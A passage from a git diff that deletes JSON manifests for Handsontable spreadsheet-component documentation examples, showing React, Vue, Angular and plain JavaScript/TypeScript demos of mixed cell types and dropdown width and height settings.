install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\nimport type { CellMeta } from 'handsontable/settings';\n\nregisterAllModules();\n\nconst projectMembers = [\n ['Ana García', 'Product Manager'],\n ['James Okafor', 'Senior Engineer'],\n ['Li Wei', 'UX Designer'],\n];\n\nconst valueCellMeta: CellMeta[] = [\n { type: 'dropdown', source: ['Planning', 'In progress', 'Blocked'] },\n {\n type: 'numeric',\n locale: 'en-US',\n numericFormat: { style: 'currency', currency: 'USD', maximumFractionDigits: 0 },\n },\n { type: 'intl-date', locale: 'en-US', dateFormat: { year: 'numeric', month: 'short', day: 'numeric' } },\n { type: 'checkbox' },\n { type: 'text' },\n {\n type: 'handsontable',\n handsontable: {\n colHeaders: ['Name', 'Role'],\n autoColumnSize: true,\n data: projectMembers,\n getValue() {\n const selection = this.getSelectedLast();\n\n return this.getSourceDataAtCell(Math.max(selection?.[0] ?? 0, 0), 0);\n },\n },\n },\n { type: 'password' },\n];\n\nconst data = [\n ['Status', 'In progress'],\n ['Budget', 250000],\n ['Due date', '2026-09-30'],\n ['Approved', true],\n ['Project name', 'Website redesign'],\n ['Owner', 'Ana García'],\n ['Access code', 'release-2026'],\n];\n\nconst ExampleComponent = () => (\n (col === 1 ? (valueCellMeta[row] ?? {}) : {})}\n height=\"auto\"\n autoWrapRow={true}\n autoWrapCol={true}\n licenseKey=\"non-commercial-and-evaluation\"\n />\n);\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/cell-type/react/example3.tsx","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example3.vue.json deleted file mode 100644 index a0427249..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__cell-type__vue__example3.vue.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"vue","displayName":"Cell Types ▸ Cell type · Set different cell types in one column · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/cell-type/vue/example3.vue","breadcrumb":["Cell Types","Cell type"],"guide":"guides/cell-types/cell-type/cell-type.md","guideTitle":"Cell type","exampleId":"example3","exampleTitle":"Set different cell types in one column","docPermalink":"/cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example4.ts.json deleted file mode 100644 index beb18cda..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\n@Component({\n selector: 'example4-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example4.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example5.ts.json deleted file mode 100644 index 1e45b3f5..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__angular__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"angular","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\n@Component({\n selector: 'example5-dropdown-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/dropdown-cell-type/angular/example5.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.js.json deleted file mode 100644 index 54c34096..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example4');\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ],\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example4.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json deleted file mode 100644 index 237a694c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\nconst departments = [\n 'Engineering and Platform Infrastructure',\n 'Marketing and Brand Communications',\n 'Financial Planning and Analysis',\n 'People Operations and Talent Acquisition',\n 'Customer Success and Enterprise Accounts',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', departments[0], departments[0]],\n ['James Okafor', departments[1], departments[1]],\n ['Li Wei', departments[2], departments[2]],\n ['Sofia Rossi', departments[3], departments[3]],\n ],\n colHeaders: ['Employee', 'Department (default)', 'Department (full width)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // trim the list to the cell's width (default)\n trimDropdown: true,\n },\n {\n type: 'dropdown',\n source: departments,\n width: 140,\n // expand the list to fit its longest option\n trimDropdown: false,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example4.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example4","exampleTitle":"Set the dropdown width","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.js.json deleted file mode 100644 index 7c395c81..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ],\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example5.js","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json deleted file mode 100644 index 5ee9e002..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__javascript__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown height · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\nconst jobTitles = [\n 'Software Engineer',\n 'Senior Software Engineer',\n 'Staff Engineer',\n 'Engineering Manager',\n 'Product Manager',\n 'Product Designer',\n 'Data Analyst',\n 'Data Scientist',\n 'Marketing Specialist',\n 'Account Executive',\n 'Customer Success Manager',\n 'Finance Analyst',\n 'Recruiter',\n 'Office Manager',\n];\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['Ana García', 'Senior Software Engineer', 'Senior Software Engineer'],\n ['James Okafor', 'Product Manager', 'Product Manager'],\n ['Li Wei', 'Data Scientist', 'Data Scientist'],\n ['Sofia Rossi', 'Account Executive', 'Account Executive'],\n ],\n colHeaders: ['Employee', 'Job title (default)', 'Job title (compact)'],\n columns: [\n {},\n {\n type: 'dropdown',\n source: jobTitles,\n },\n {\n type: 'dropdown',\n source: jobTitles,\n // show 3 options at a time, then scroll\n visibleRows: 3,\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/dropdown-cell-type/javascript/example5.ts","breadcrumb":["Cell Types","Dropdown cell type"],"guide":"guides/cell-types/dropdown-cell-type/dropdown-cell-type.md","guideTitle":"Dropdown cell type","exampleId":"example5","exampleTitle":"Set the dropdown height","docPermalink":"/dropdown-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example4.tsx.json deleted file mode 100644 index 445b90d9..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-types__dropdown-cell-type__react__example4.tsx.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"react","displayName":"Cell Types ▸ Dropdown cell type · Set the dropdown width · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n 